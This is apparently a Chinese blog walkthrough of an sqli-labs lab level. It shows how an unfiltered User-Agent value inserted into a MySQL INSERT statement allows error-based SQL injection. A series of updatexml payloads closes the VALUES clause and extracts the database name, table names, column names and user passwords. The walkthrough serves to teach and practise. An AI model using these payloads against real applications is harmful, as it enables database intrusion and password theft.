先看一下源码
这里定义的函数跟十七关的一样,具体解析可看sqli-labs第十七关详解_金 帛的博客-CSDN博客
HTTP_USER_AGENT 是请求用户代理的信息,也就是http头User-Agent:的内容
REMOTE_ADDE 是指浏览当前页面的用户的IP地址,也就是搭建靶场的那个IP地址
接着我们继续看
这里当用户名跟密码都有输入的时候才能触发的,可以看到用户名和密码都被过筛了,也就是不能在这里进行SQL注入了,接着再往下看看
这里可以看到,当登入进去的时候,还会再执行一条SQL语句并且包涵的$uagent没有被过滤掉,,还看到后面的语句中还会进行报错回馈,因此我们可以利用这两个地方为注入点,但是得通过抓包请求进行报错注入
可利用的SQL语句是
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
这时我们就不能像常规的报错盲注一样直接上,我们得考虑一下闭合VALUES,假如我们利用的点是$uagent,那构建格式就应该是1',1,1)#,在SQL语句中相当于
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,1)#, '$IP', $uname)
这样就闭合了VALUES,所以我们在uagent上正确的payload应该是
1',1,updatexml(1,concat(0x5e,database()),1))#
可以看到回显了数据库名称,接着我们爆表,构建payload
1',1,updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1))#
接着爆字段,构建payload
1',1,updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1))#
接着查看字段,构建payload
1',1,updatexml(1,concat(0x5e,(select group_concat(password) from users)),1))#
由于报错语句只能回显32位的缘故,这里只回显了一小部分密码,可以利用mid函数,截断SQL语句,来回显剩下的密码
也就是mid(SQL语句,32,32)
构造payload
1',1,updatexml(1,concat(0x5e,mid((select group_concat(password) from users),32,32)),1))#
继续构造
1',1,updatexml(1,concat(0x5e,mid((select group_concat(password) from users),64,32)),1))#
接着将上面回显的内容拼起来就得到全部密码了